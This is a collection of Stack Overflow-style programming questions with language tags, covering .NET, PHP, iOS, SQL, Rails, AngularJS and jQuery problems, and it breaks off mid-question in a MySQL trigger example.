how to managing data and memory in winform .net application   i am developing a windows application in which i have a grid control and i want to display different query output from my ms access database. i have 12 queries which has a result of around 75 columns and 1000 rows there are different menus to call and display this query results    if i read the query each time i click on the menu and load it by accessing the database and takes around 15 seconds. to avoid this dealy  i plan to load all the queries in memory when the application starts  basically create a dataset and store all the tables into that  now the display and access through different queries becomes faster.    my question is - is this right what i am doing  if not any other better ways to handle this  will moving to wpf help  or any other things i need to take care.    please help me and sorry if it is a dumb question,.net
how to store multiple text messages in array using plist  how do i store multiple text messages and phone numbers in an array using plist,iphone
php operators for comparing table rows with letters inside   i have a simple cms that i have set up.    in the database it has a row for short-story content and a row for full-story content on the same table.    i am trying to write an if else statement that basically shows the full story content if it has more characters or words inside.. or to show the short-story if the full-story ==  nothing  :    <pre><code>if $full-story == 0 { echo  short-story-content  } else { echo  full-story-content  } </code></pre>,php
how to prevent direct access to the variable in a class   in my class i have private variable  which i use inside the class only through get/set. sometimes i forget  that i shouldn t use variable directly (<strong>even within the class</strong>) and must use get/set.    how to make that the only way to use a variable were get/set    <pre><code>public class a {     int x;      public xvariable {         get { return x; }         set { x = value }          // some additional operations     }      void somemethod() {         x = 5; // no         xvariable = 5; // yes     } } </code></pre>,c#
undefined variable : error in login page  is there any way to fix undefined variable on login page  i can t solve it by refering the php manual.what can i do to fix the ($error).here is my login script on the top of html page and undefined variable code:   <pre><code>&lt; php       include( dbconnect.php );       if (!isset($_session)) {           session_start();      }       if(isset($_session[ loggedin ]) &amp;&amp; $_session[ loggedin ]== yes ){           // logged in           header( location: index.html );           exit();      }       /* check to see if user attempted logging in */      if($_get[ atmpt ] != null){           if($_get[ atmpt ] == 2){           // forgotten password           $error .=  did you forget your password &lt;br&gt; ;      }       /* get username and password */      $username = $_post[ username ];      $password = $_post[ password ];       /* mysql injection prevention */      $username = mysqli_real_escape_string($mysqli  stripslashes($username));      $password = mysqli_real_escape_string($mysqli  stripslashes($password));       /* check for user in database */      $query =  select * from member where username =  $username  and password =  $password  ;      $result = mysqli_query($mysqli  $query);      $count = $result-&gt;num_rows;      if($count &gt; 0){           //successfully logged in           $_session[ username ]=$username;           $_session[ loggedin ]= yes ;           header( location: index.html );           exit();      } else {           // login failed           $error .=   wrong username or password ;           $_session[ loggedin ]= no ;           $atmpt = 2;      } } else {      $atmpt = 1; }   &gt; </code></pre>  <blockquote>    notice: undefined variable: error in /home/tz005/public_html/comp1687/login.php on line 111  </blockquote>  <pre><code>&lt;span&gt;&lt; php echo($error)  &gt;&lt;/span&gt; </code></pre>,php
passing object pointer as protocol pointer <pre><code>@protocol protoa &lt;nsobject&gt; @end  @interface obja : nsobject&lt;protoa&gt; {     @private     } @end  @implementation obja @end  @protocol protob &lt;nsobject&gt;     -(void) foo: (id &lt;protoa&gt; *) par; @end  @interface objb : nsobject&lt;protob&gt;      -(void) foo: (id &lt;protoa&gt; *) par; @end  @implementation objb     -(void) foo: (id &lt;protoa&gt; *) par     {     //...     } @end </code></pre>   in some other class method i use it this way:   <pre><code>objb *obj1 = [[objb alloc] init]; obja *obj2 = [[obja alloc] init];  [obj1 foo: obj2]; </code></pre>   i have compiler error:  implicit conversion of an objective-c pointer to  __autoreleasing id*  is disallowed with arc     what is the proper way to do get this functionality,objective-c
how to dynamically call an array from a loop with string  i have the following code :   <pre><code>        dim tabele() as string = { bacsis    bonconsum    bonconsumcontinut    bontransfer   _                                    bontransfercontinut    bonurianulate    bonurianulatecontinut   _                                    carduri    categoriiproduse    clienti    comenzi    ferestre   _                                    furnizori    gestiuni    grupe    iesiri    inchidere    intrari   _                                    intraricontinut    inventar    inventarproduse    logtransferuri   _                                    mese    modalitatedeplata    modpreparare    monitor    monitorizare   _                                    platidocumente    platifacturaintrari    ospatari    plati    preferinte   _                                    preferinteclient    produse    restaurantmasa    restaurantproduse   _                                    retete    rezervari    seriifacturi    stoc    tva    unitatidemasura    useri }          dim bacsis as string()() = {new string() { col    `id`    int(255)    not null    auto_increment    end }  _                                     new string() { col    `nume`    varchar(255)    null    default null    end }  _                                     new string() { col    `gestiune`    bigint(255)    null    default null    end }  _                                     new string() { col    `tva`    bigint(255)    null    default null    end }  _                                     new string() { col    `grupa`    bigint(255)    null    default null    end }  _                                     new string() { key    primary key (`id`)    end }  _                                     new string() { eng    engine=innodb auto_increment=0 default charset=latin1;    end }  _                                     new string() { gata }}              continut tabele         for each element in tabele             if verificatabela(conexiune  element) = true then                  for indexa = 0 to bacsis.length - 1                      for indexb = 0 to bacsis(indexa).length - 1                          dim nume as string = bacsis(indexa)(indexb).tostring                      next                  next             else                  query +=  create table if not exists `  &amp; element &amp;  ` (                  for indexa = 0 to bacsis.length - 1                     for indexb = 0 to bacsis(indexa).length - 1                         dim nume as string = bacsis(indexa)(indexb).tostring                         if bacsis(indexa)(0) =  col  then                              if not nume =  col  andalso not nume =  end  then                                 if indexb = 1 then                                     query += bacsis(indexa)(1).tostring                                 else                                     query +=     &amp; nume                                 end if                             end if                              if nume =  end  then                                 query +=                                 end if                          elseif bacsis(indexa)(0) =  key  then                             if not nume =  key  andalso not nume =  end  then                                 query += nume                             end if                             if nume =  end  then                                 query +=  )                               end if                          elseif bacsis(indexa)(0) =  eng  then                             if not nume =  eng  andalso not nume =  end  then                                 query += nume                             end if                             if nume =  end  then                                 query +=                                end if                         elseif bacsis(indexa)(0) =  gata  then                             msgbox(query)                         end if                      next                 next                 end if         next </code></pre>   the for statement loop through the 1st array which checks if the table exist or not  if it doesn t exist it creates a query and create the table  if exist it will check if all the fields in the db have the same values as the array.    my question is : how can i dynamically search in all the arrays (after bacsis it will be more arrays with the name in the 1st array - tables) something like :    <pre><code> for each element in tabele         if verificatabela(conexiune  element) = true then             dim array2name as array = ctype(element  array)             for indexa = 0 to array2name.length - 1                 for indexb = 0 to array2name(indexa).length - 1                     dim nume as string = array2name(indexa)(indexb).tostring                next             next  next </code></pre>   so with the same arrays i can create the query  check if tables exist or alter if they are wrong.,.net
extract digits in a simple way from a python string  i have a string that stores a number and a unit for example    <pre><code>x=  $120  y =   90 degrees f  banana =  200 kgm  orange =  300 gm  total_weight = banana + orange/1000  </code></pre>   and for example i want to add the weights    <pre><code>total_weight  = 200 + 300/1000 </code></pre>   thanks!     i m trying to extract the numbers only to do some operations with these... any idea of what the simplest way to do this  i m only dealing with these two formats i.e. digits are at the begining or at the end of the string...,python
css style in navigation bar affecting links in content  i created navigation bar  with hyperlinks to other pages    css code:   <pre><code>a { display:block; width:120px; color:brown; text-decoration:none; text-align:center; background-color:yellow; padding:4px; transition-property: background; transition-duration: 1s; } </code></pre>   however  this now affects other links which are outside the navigation bar. how do i separate links in navigation bar from those located in content s text,css
asp.net control/page library question  i m working on a drop in assembly that has predefined pages and usable controls.  i am having no difficulties with creating server controls  but i m wondering what the  best practices  are with dealing with pages in an assembly.  can you compile a page into an assembly and release it as just a dll   how would this be accessed from the client browser s perspective as far as the address they would type or be directed to with a link   as an example  i have a simple login page with the standard username and password text boxes  and the log in button and a  remember me  checkbox  with a  i can t remember my username and/or password  hyperlink. can i access that page as like a webresource   such as  <a href= http://www.site.name/webresource.axd related_resource_id_codes  rel= nofollow noreferrer >http://www.site.name/webresource.axd related_resource_id_codes</a>,asp.net
memory leak on reading images from document directory  i am reading images from document directory in a loop.     <pre><code>for(iarrcount=0;iarrcount&lt;[arrimages count];iarrcount++)     { uibutton *btnimage = [uibutton buttonwithtype:uibuttontypecustom];             btnimage.frame = cgrectmake(xrow  yrow  width  height);             [btnimage addtarget:self action:@selector(imagedetails:) forcontrolevents:uicontroleventtouchupinside];             btnimage.tag = icount;             if(icount&lt;[arrimages count])             {                   nsstring *workspacepath=[[self applicationdocumentsdirectory] stringbyappendingpathcomponent:[arrimages objectatindex:icount]];                 [btnimage setbackgroundimage:[uiimage imagewithdata:[nsdata datawithcontentsoffile:workspacepath]] forstate:uicontrolstatenormal];                 [scrollimages addsubview:btnimage]; } }   </code></pre>   on doing so  control goes to <code>didrecievememorywarning</code> and application crashes. if i replace the image by a image from resource folder  application does not crashes. why so,iphone
background image not resize properly on media query   this is my code:    <pre><code>      .review-dots-teal {         background-image: url( ./scss/img/dots-teal@1x.png );         position: absolute;         left: 0;         top: 760px;         z-index: -1;         height: 368px;         width: 368px;         @include mediaquery(992px) {          width: 268px;          height:268px;         }         @include mediaquery(768px) {          width: 168px;          height:168px;         }       } </code></pre>   the image is like this when it s not resized by media query: <a href= https://i.stack.imgur.com/uuoyb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uuoyb.png  alt= enter image description here ></a> but when the media query is applied  with height and weight reduced  it looks like this:     <a href= https://i.stack.imgur.com/2ubi3.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/2ubi3.png  alt= enter image description here ></a>    the image didn t became small  the dots are same size  how do i make the image fit the set width and height by media query,css
ios developer settings without developer account  i d like to access network link conditioning settings in my iphone.  i do not want to pay for a developer account.  how can i enable developer mode on my phone permanently   please don t end the instructions at  create developer profile   i don t know how to do that  and from what i can tell a free profile expires after 30 days.,ios
"how to automate html header creation of small website with webpack   i want to build a simple static website with pages like introduction  getting started  download  faq. there would be a navigation links at the top too. it s the basic layout you see everywhere.    <a href= http://exceed7.com/introloop/  rel= nofollow noreferrer >what i have done a year ago</a> is just a copy and paste. so every .html page would have the same tab code.     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;nav class= text-center &gt;
     &lt;a href= index.html &gt;introduction&lt;/a&gt; |
     &lt;a href= getting-started.html &gt;getting started&lt;/a&gt; |
     &lt;a href= reference.html &gt;reference&lt;/a&gt; | 
     &lt;a href= demo.html &gt;demo&lt;/a&gt; |
     &lt;a href= faq.html &gt;faq&lt;/a&gt;
     &lt;span id= get &gt;&lt;a href= https://www.assetstore.unity3d.com/#!/content/51095  target= _blank &gt;get introloop&lt;/a&gt;&lt;/span&gt;
     &lt;br&gt;
 &lt;/nav&gt;</code></pre>
 </div>
 </div>
     and then there are a lot of heads  that is <em>almost</em> the same but a little bit different from page to page.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;head&gt;
 &lt;meta charset= utf-8 &gt;
 &lt;meta http-equiv= x-ua-compatible  content= ie=edge &gt;
 &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;
 
 &lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css  integrity= sha512-dtfge/zgomypp7qbhy4gwmegsbsdzecxz7iritjcc3spuftf0kufbdz/ixg7artxmdjlxdmezhubenikykgvyq==  crossorigin= anonymous &gt;
 
 &lt;link href= https://fonts.googleapis.com/css family=lato  rel= stylesheet  type= text/css &gt;
 &lt;link href= https://fonts.googleapis.com/css family=raleway:400 600  rel= stylesheet  type= text/css &gt;
 &lt;link href= https://fonts.googleapis.com/css family=cutive+mono  rel= stylesheet  type= text/css &gt;
 
 &lt;meta name= keywords  content= introloop - easily play looping music with intro section. (unity plugin) /&gt;
 
 &lt;meta charset= utf-8 &gt;
     &lt;meta property= og:title  content= introloop - demo /&gt;
     &lt;meta property= og:description  content= let s see how well it performs by yourself! &gt;
     &lt;meta property= og:type  content= website /&gt;
     &lt;meta property= og:url  content= http://www.exceed7.com/introloop/demo.html /&gt;
     &lt;meta property= og:image  content= http://www.exceed7.com/introloop/img/headerimage.png /&gt;
     &lt;meta property= og:site_name  content= introloop  /&gt;
 
     &lt;title&gt;introloop - easily play looping music with intro section (unity plugin)&lt;/title&gt;
     &lt;link rel= stylesheet  href= css/main.css &gt;
 &lt;/head&gt;</code></pre>
 </div>
 </div>
     reading the code i wrote a year ago i feel like it s not good for maintainability. i am considering redoing the site so i would like the current state of doing this. but i can t seems to get the solution from google search because it is difficult to get the correct search query...    surely nowadays we use some kind of build tools and i am very interested in learning webpack. i am wondering what is the usual workflow to make this kind of a small templated website     other tools i would like to incorporate is npm + babel + cssnext + any bootstrap alternatve + no gulp  just in case they overlap with the possible solution. the reason for no bootstrap and no gulp is that i have been using them for long time and would like to explore other alternatives  which i guess would be available by now    also looking at vue.js / semantic ui / uikit  all completely new to me. but vue.js looks too much like react  which my website is just a general information website and does not seems to need any live js to dom update..",html
jsonp callback error in angular  getting callback error in this below code as (uncaught referenceerror: updatedata is not defined) .could you help me please   i am new on angularjs .   <pre><code>var student = angular.module( studentmodule   []);  student.controller( studentctrl   [ $scope    $http   function($scope  $http) {     $http({         method:  jsonp           url:  http://abelski.com/courses/ajax/data.json callback=updatedata       })         .success(function (data  status  headers  config) {             $scope.students = data;          })          .error(function (data  status  headers  config) {          }); }]); </code></pre>   code links  <a href= http://codepen.io/anon/pen/bnoxgb  rel= nofollow >codepen.io/anon/pen/bnoxgb</a>,angularjs
going back to oncreate  i want my code to be readable so i m writing different methods that do whatever they do and go back to oncreate which calls the next one to be executed. one of my methods has an onanimationend listener  i want the oncreate method to wait for the animation to end and then call the next method  how can i do that without calling the next method from the listener itself     thanks in advance   <pre><code>oncreate()  {  dotask1();  dotask2(); }  private void dotask1(){     ...     ...     public void onanimationend(animation animation) {              // finish this method and let oncreate call the next one         } } </code></pre>,android
rails: reasons why after creating a user and signing out  can t sign in again   i can create a user  and then sign the user out. but when i try to sign in using the parameters that i created the user with  they say invalid parameters.    this is my users controller:   <pre><code>class userscontroller &lt; applicationcontroller   def new     @user = user.new   end    def show     @user = user.find(params[:id])   end    def create     @user = user.new(params[:user])     if @user.save       flash[:success] =  welcome to the blog!          redirect_to @user     else         render  new      end   end    def index     @users = user.paginate(:page =&gt; params[:page])   end end </code></pre>   this is my sessions helper methods    <pre><code>module sessionshelper   def sign_in(user)     cookies.permanent[:remember_token] = user.remember_token     self.current_user = user   end    def signed_in      !current_user.nil    end    def current_user=(user)     @current_user = user   end    def current_user     @current_user ||= user.find_by_remember_token(cookies[:remember_token])   end    def current_user (user)     user == current_user   end    def sign_out     current_user.update_attribute(:remember_token  user.encrypt(user.new_remember_token))     cookies.delete(:remember_token)     self.current_user = nil   end end </code></pre>   and this is my sessions controller   <pre><code>class sessionscontroller &lt; applicationcontroller   def new   end    def create     user = user.authenticate(params[:email]  params[:password])   if user     session[:user_id] = user.id     sign_in user     redirect_to root_url  :notice =&gt;  logged in!    else     flash.now.alert =  invalid email or password      render  new    end   end    def destroy     sign_out     redirect_to posts_url  :notice =&gt;  logged out!    end end </code></pre>   and i sign in via this form   <pre><code>&lt;h1&gt;log in&lt;/h1&gt; &lt;%= form_tag sessions_path do %&gt;   &lt;p&gt;     &lt;%= label_tag :username %&gt;     &lt;%= text_field_tag :username  params[:username] %&gt;   &lt;/p&gt;   &lt;p&gt;     &lt;%= label_tag :password %&gt;     &lt;%= password_field_tag :password %&gt;   &lt;/p&gt;   &lt;%= submit_tag  sign in   class:  btn btn-large btn-primary  %&gt; &lt;% end %&gt; </code></pre>   is there any reason why when i try to sign in again my user is invalid  my user does have the parameters of password and username. and when created  user is initialized with username  email  password. thanks!,ruby-on-rails
rails - project.where(created_at: (time.now - 24.hours)..time.now) returning <project::activerecord_relation:0x007f5470c7a378>  what im trying to do is get a count of all projects posted in the last 24 hours.   <pre><code>class applicationcontroller &lt; actioncontroller::base    before_action :projects_today    def projects_today     @projects_today = project.where(created_at: (time.now - 24.hours)..time.now)   end  end </code></pre>   <strong>view</strong>   <pre><code>&lt;h1&gt;&lt;%= @projects_today %&gt;&lt;/h1&gt; </code></pre>   however whats showing up in the view is   project::activerecord_relation:0x007f5470c7a378   instead of 62 which is the desired answer.,ruby-on-rails
multithreading - making threads execute in turns  i am currently working on a mutltithreading game which uses threads as players and can create n players  so synchronization has to be really good. my players do functions while sum of their hand isn t equal to 100. if it is thread changes variable <code>game on</code> to false and therefore stop the game.    <pre><code>public void run(){                                                                          while(gameon) {                                                                             takehand();                                                                             while (sum() != 100 &amp;&amp; !isinterrupted()) {                                                  discardpebble();                                                                        drawnpebble();                                                                          system.out.println(sum() +    + hand.tostring() + currentthread().getname());           try {                                                                                       thread.sleep(100);                                                                  } catch (interruptedexception b) {                                                          system.out.println( we have a winner! );                                             }                                                                                   }                                                                                       stopgame();                                                                         }                                                                                       b.close(); // closing output stream to the file </code></pre>   as you can see each thread does  discardpebble() and drawnpebble() but they do it not synchronized. also they start at the different time so first thread executes run() while another thread hasn t started yet. how can i make them start at the same time and wait until all threads have done discardpebble() and drawnpebble() and then start again  i ve read about countdownlatches yesterday but didn t really understand how can i use them in my situation but i believe it can solve my problem.,java
difference between setting a property directly and using its setter   what is the difference between these two    <ul> <li><code>self.view.color = [uicolor redcolor];</code></li> <li><code>[self.view setcolor:[uicolor redcolor]];</code></li> </ul>,objective-c
how to get the sum of the array of specific value  i have the following array   <pre><code>array (     [0] =&gt; array         (             [gender] =&gt; f             [thisweektotal] =&gt; 3         )      [1] =&gt; array         (             [gender] =&gt; m             [thisweektotal] =&gt; 2         )      [2] =&gt; array         (             [gender] =&gt; adult             [thisweektotal] =&gt; 1         )      [3] =&gt; array         (             [gender] =&gt; young adult             [thisweektotal] =&gt; 4         )  )  </code></pre>   i want the sum of thisweektotal of the gender m and f only that is 5 i have tried the below code but i am not getting sum of all the gender f and i want only the sum of the genders m and f   <pre><code>foreach($analytics_data[ this_week ] as $value)    {      if($value[ gender ]== m  || $value[ gender ]== f )     {       $total_this_week_arr = array_column($value[ thisweektotal ]   thisweektotal );       $this_week_total = array_sum($total_this_week_arr);      }    }  echo  this_week_total= .$this_week_total; </code></pre>,php
bitwise operators on 32/64b php  how i can get result -1098394484 on 64bit machine in php:    32b   <pre><code>echo 1049089164 ^ 2147483648 ^ 0 ^ 0; // =&gt;  -1098394484 </code></pre>   64b   <pre><code>echo 1049089164 ^ 2147483648 ^ 0 ^ 0; // =&gt; 3196572812  but need  -1098394484 </code></pre>,php
error 1582 (42000): incorrect parameter count in the call to native function  str_to_date   i am looking for some help regarding the error i am receiving in mysql. i am fairly new to mysql. i have the following table:   <pre><code>+--------------+--------------+------+-----+-------------------+-----------------------------+ | field        | type         | null | key | default           | extra                       | +--------------+--------------+------+-----+-------------------+-----------------------------+ | date         | date         | no   |     | null              |                             | | time         | timestamp    | no   |     | current_timestamp | on update current_timestamp | | messure      | decimal(9 2) | no   | pri | null              |                             | | inject_units | decimal(9 2) | yes  |     | null              |                             | +--------------+--------------+------+-----+-------------------+---------------- </code></pre>   i am using the below query to insert data into the table   <pre><code>insert into sugar_levels (date  time  messure  inject_units) values ( 2017-08-22  str_to_date( 2017-08-22 05:50:00    y%-m%-d% h%:m%:s    11.7    12 )); </code></pre>   but i am getting the following error:   <pre><code>error 1582 (42000): incorrect parameter count in the call to native function  str_to_date  </code></pre>   please help as this it might be a simple syntax error.,mysql
jquery calls are returining $ is undefined errors  i have a problem running my jsp pages.    my jsp pages has reference to some .js file say (file1.js) and in file1.js i m invoking the jquery calls like <code>$(document).ready</code>. the ie browser is complaining about the error:   <blockquote>    script5009: <code> $  is undefined file1.js  line 225 character 1</code>  </blockquote>   i see the same exception on firefox as well.    i have included the <code>&lt;script src= http://code.jquery.com/jquery-latest.js &gt;&lt;/script&gt;</code>  and also <code>&lt;script type= text/javascript  src= /js/file1.js &gt;&lt;/script&gt;</code> in my jsp.,jquery
how to connect to a flic button without connecting through the flic app  i m new to flic  and i was trying to make an app on ios with it (<a href= https://partners.flic.io/partners/developers/ios-tutorial  rel= nofollow noreferrer >https://partners.flic.io/partners/developers/ios-tutorial</a>). i was wondering if there was any way to connect to flic buttons without a user having to download the official flic app also. i have looked through all the documentation (<a href= https://partners.flic.io/partners/developers/documentation/ios/index.html  rel= nofollow noreferrer >https://partners.flic.io/partners/developers/documentation/ios/index.html</a>) and i still cannot find anything that suggests this.    does anyone have any ideas on where i can look or what other solutions i can try  is there an alternative to flic that i can use instead,ios
center a variable number of uilabels vertically in a cell/view  is there a way to center a variable number of labels vertically within a superview (in my case a uitableviewcell)     in this particular view in my app  i d like to display data from my database. the data comes in a set that can range from 0 to 3 elements in size  so the view will have from 0 to 3 corresponding labels. if there is one label  it should appear on the vertical center line of the cell. if there are two labels  they should each appear equal distances above and below the vertical center line of the cell. if there are three labels  one should appear on the vertical center line and the other two should appear equal distances above and below the center line.    hopefully this poor attempt at a visual helps. in the second example in this visual the two tick marks representing the labels appear as though they re the same distance apart as the top and bottom labels in the third example  but i d prefer that in the real thing  they be slightly closer together than that  but such are the limits of plain text when trying to model complex ui elements.   <pre><code>**********************************************************************************  - -     - -    these two should be slightly closer to center than shown here.   -     - - -   -  ********************************************************************************** </code></pre>   i ve tried fiddling with constraints as much as i could but can t seem to find a way to handle this in that way.    as i am from a web programming background  i d describe this as an unordered list of variable height centered vertically in its parent container  but i m not sure how to recreate that.,ios
how do sql order-by with multiple-columns work   i m studying this sql statement :   <pre><code>select * from customers order by country customername; </code></pre>   <a href= http://www.w3schools.com/sql/sql_orderby.asp  rel= noreferrer >from this</a>    how does it work that it orders by both country and customername   in my mind it just doesn t  seem intuitive  i.e you order by either country  or customername but not both,sql
is it possible to close a program via python   i ve opened a browser to view a web page   <pre><code>import webbrowser  webbrowser.open( http://en.wikipedia.org/wiki/python_(programming_language) ) </code></pre>   would i be able to then close the browser after my code has ran,python
memory footprint with for loop  i have the following code:   <pre><code>for (int i = 0; i &lt; array.length; i++) {   int current = array[i];   //do something with current... } </code></pre>   and the function   <pre><code>int current = 0; for (int i = 0; i &lt; array.length; i++) {   current = array[i];   //do something with current... } </code></pre>   my question is  do they have the same memory footprint   i mean  it is clear that the 2nd function will only have 1 variable  current . but how about the first function. lets assume array has length 1000  does this mean 1000 integeger variables  current  will be created in the inner loop,java
sql inner join entity  i want to execute this query :   <pre><code>-- the most expensive item sold ever select      c.itemid  c.itemname from      item as c join      (select           b.itemid as  itemid   max(b.item_initialprice) as  maxprice        from           buyeritem as a      inner join           item as b on a.item_id = b.itemid) as d on c.itemid = d.itemid  group by     c.itemid  c.itemname; </code></pre>   my <code>item</code> table looks like this:   <pre><code>create table item (     itemid int identity(1000  1) not null      itemname varchar(15) not null      item_desc varchar(255)      item_initialprice money      itemqty int      ownerid int not null      condition varchar(20) not null       primary key (itemid)       foreign key (ownerid) references seller (sellerid)  ); </code></pre>   the problem is that column <code>item.itemid</code> is invalid in the select list because it is not contained in either an aggregate function or the <code>group by</code> clause. i tried to add a group by clause at the end    <pre><code>group by c.itemid  c.itemname </code></pre>   but i still get the same error  i don t really know where the problem comes from.    i also have this query   <pre><code>-- the most active seller(the one who has offered the most number of items) select      a.ownerid  b.sellername  from      item as a inner join      seller as b on a.ownerid = b.sellerid group by      a.ownerid  b.sellername  order by      count(a.itemid) desc; </code></pre>   i want to add <code>itemqty</code> along with the <code>ownerid</code> and <code>sellername</code> from <code>item</code> table stated above  what would be the best way to achieve that,sql
mysql trigger - inet_aton before insert  i need to add inet_aton  to ip field before insert   <pre><code>insert into (`id` `ip`) values (null  127.0.0.1 ); </code></pre>   i need the database to convert ip transparently before insert. and in select convert it back with inet_ntoa()    i <strong>can not change the query</strong> to use    <pre><code>insert into (`id` `ip`) values (null inet_aton( 127.0.0.1 )); </code></pre>   because i have no control over the software that executes those queries,mysql
how to change cell background color on click cell in table   i need to change the color of the cells on сlick (only 2 colors: black and white)  and then analyze the colors of cells to form an array with values​​: 1 - black  0 - white,asp.net
changing background color on uiscrollview   how do i change the black/gray color to white     this is just a simple view with a uiview attached to the uiviewcontrollers property together a with a webview that fills the uiview.     <strong>update</strong>    here s the code that works:   <pre><code>- (void)loadview { uiwebview *webview = [[uiwebview alloc] initwithframe:cgrectmake(0.0f  0.0f  320.0f  416.0f)]; [webview setbackgroundcolor:[uicolor whitecolor]]; self.view = webview; [webview release]; } </code></pre>   thanks in advance.    <img src= https://i.stack.imgur.com/rfdj0.jpg  alt= iphone >,iphone
error: class definition in method body and dynamic constant assignment plan_policies = [  i tried to apply some of this code:   <pre><code>  class guest  attr_accessor :custom0  :custom6  :custom7  :custom8  def initialize(args)   args.each do |k v|     self.send( #{k}=  v)   end end  end  plan_policies = [ {number_of_guests: 10  type_of_guest:  mp platino   plan_id: 64}  {number_of_guests: 10  type_of_guest:  mp   plan_id: 53}  {number_of_guests: 9  type_of_guest:  mp platino   plan_id: 63}  {number_of_guests: 9  type_of_guest:  mp   plan_id: 52}  {number_of_guests: 8  type_of_guest:  mp platino   plan_id: 62}  {number_of_guests: 8  type_of_guest:  mp   plan_id: 51}  {number_of_guests: 7  type_of_guest:  mp platino   plan_id: 61}  {number_of_guests: 7  type_of_guest:  mp   plan_id: 50}  ]   def plan_id return plan_policies.find do |pp|   pp[:number_of_guests] == number_of_guests &amp;&amp; pp[:type_of_guest] == type_of_guest end[:plan_id]     end   def number_of_guests @guest.custom6.to_i + @guest.custom7.to_i end  def type_of_guest return  mp  if @guest.custom0 ==  mp  return  mp platino  if @guest.custom8 ==  mp platino  end   @usage_plan = usageplan.find_by_id(plan_id) </code></pre>   but i got this error: <strong> class definition in method body </strong>    <strong> dynamic constant assignment   plan_policies = [ </strong>    here is the full code of this: <a href= https://mega.nz/#!0uafnbtl!i0uoomz8kvaymnov0h8angsyi3uor-nlyrwtsgmecwg  rel= nofollow noreferrer >full code here</a>    thanks in advance for your help!    besth whises!,ruby-on-rails
jquery $ajax + jsonp 404 error from server showing success  (i think this may be a bug in jquery  not sure)    if i do an ajax call with jquery like so:   <pre><code>    $.ajax({         type:  get           url: url          datatype:  json           crossdomain: true     }).done((result) =&gt; {         if (result == null) {             d.resolve();             return;         } else if (result.results != null) {             if (!$.isarray(result.results)) {                 d.resolve([result.results]);                 return;             } else {                 d.resolve(result.results);                 return;             }         } else {             if (!$.isarray(result)) {                 d.resolve([result]);                 return;             }         }          d.resolve(result);     }).fail((e  description  error) =&gt; {         d.reject(error);     }); </code></pre>   so the fail function calls if the server returns 404 or 403 or whatever. but the server is rest so it correctly  if it can t find anything  returns  not found  but will also have the error description in the body.    oddly jquery s e property in the fail method (yes  typescript  but regular does the same) has e.status == 200 and statustext =  success  even though it failed. the values should be a 403 or 404 for the status  the responsetext should be whatever came back.     (all of this works fine without jsonp btw.)     so my question is  how do i get it to show me the real return value from the server and the actual descriptive error message that was in the function it claims it didn t execute     thanks!,jquery
saving related entities in rails  i can t modify existing relations in ror. db schema is users(id)  books(id  title)  ratings(user_id  book_id  rating) models are   <pre><code>class user &lt; activerecord::base   has_many :ratings end  class rating &lt; activerecord::base   belongs_to :user   belongs_to :book end  class book &lt; activerecord::base   has_many :ratings end </code></pre>   creating new rating with book.ratings.build(:user_id => 1  :rating => 5); book.save works fine  but i can t modify existing rating with   <pre><code>r = book.ratings.where(:user_id =&gt; 1).first r.rating = 5 </code></pre>   book.save doesn t save corresponding rating and r.save raises error about column rating.id. is there a way to make things work without modifying db schema,ruby-on-rails
new to c++  signature definition  i have a function written in c++:   <pre><code>foo (in bool somemode = false) </code></pre>   what does that mean   will somemode always be initialized to false  even if foo is called with true,c++
i can t find ios simulator files  i need to look my application s database file.i found this question:    <a href= https://stackoverflow.com/questions/2268102/how-view-data-stored-in-core-data >how view data stored in core data </a>    in answer he said:   <blockquote>    your app will be folder inside (~ is your home directory):   ~/library/application support/iphone simulator/user/applications/  </blockquote>   i opened the <code>application support</code> folder but there is no <code>iphone simulator</code> folder inside this folder.    what should i do   here is the screenshot:    <img src= https://i.stack.imgur.com/7ywzw.png  alt= enter image description here >    edit:i am using xcode 6 and yosemite.,ios
implementing non -renewable subscriptions using mkstorekit4   i have iphone application in which i wanted to use non_renewable subscriptions.as per docs mkstorekit supports non renewable subscriptions.but everywhere saying about auto_renewables only.can anybody knows how to implement non-renewable subscription with mkstorekit4.i have been googling for the entire day.but with no luck.can anybody help me  was anybody done this kind of in app with mkstorekit,iphone
angularjs - reset form clear models  how to reset a form in angularjs    <pre><code>&lt;form name= myform &gt;             &lt;input id= checkbox1  type= checkbox  name= one  ng-model= one  /&gt; 1             &lt;input id= checkbox2  type= checkbox  name= two  ng-model= two  /&gt;2             &lt;input id= checkbox3  type= checkbox  name= three  ng-model= three  /&gt;3             &lt;input type= button  ng-click= myform.reset()  value= reset /&gt; &lt;/form&gt; </code></pre>   the above code doesn t reset form. is there any method to clear all the model s in a form     i want to clear all the model s in a given form. i have a bigger form in my application  clearing each &amp; every model looks complicated.,angularjs
trigger not working on constraint  i have a trigger on <code>accounting</code> table.. when the parent <code>enclosure</code> row is deleted all child rows in <code>accounting</code> are deleted..    a trigger on <code>accounting</code> delete from <code>invoice</code> - but it doesn t work if the parent row in <code>enclosure</code> is deleted  it only works when deleting from <code>accounting</code>   <h1>db structure</h1>  <pre><code>create table if not exists `enclosure` ( `id` mediumint(7) unsigned not null ) engine=innodb default charset=utf8 collate=utf8_danish_ci;  alter table `enclosure`  add primary key (`id`);  create table if not exists `accounting` ( `id` mediumint(7) unsigned not null    `enclosure_id` mediumint(7) unsigned not null    `invoice_id` mediumint(7) unsigned default null ) engine=innodb default charset=utf8 collate=utf8_danish_ci;  alter table `accounting`  add primary key (`id`)  add key `enc_id` (`enclosure_id`)  add key `invoice_id` (`invoice_id`);  delimiter // create trigger `accounting_delete_invoice` after delete on `accounting`  for each row begin     delete from `invoice` where id=old.invoice_id; end // delimiter ;  create table if not exists `invoice` ( `id` mediumint(7) unsigned not null ) engine=innodb default charset=utf8 collate=utf8_danish_ci;  alter table `invoice`  add primary key (`id`);  alter table `accounting` add constraint `accounting_ibfk_12` foreign key (`invoice_id`) references `invoice` (`id`)  add constraint `accounting_ibfk_17` foreign key (`enclosure_id`) references `enclosure` (`id`) on delete cascade; </code></pre>  <h1>data</h1>  <pre><code>insert into `enclosure` (`id`) values ( 1 ); insert 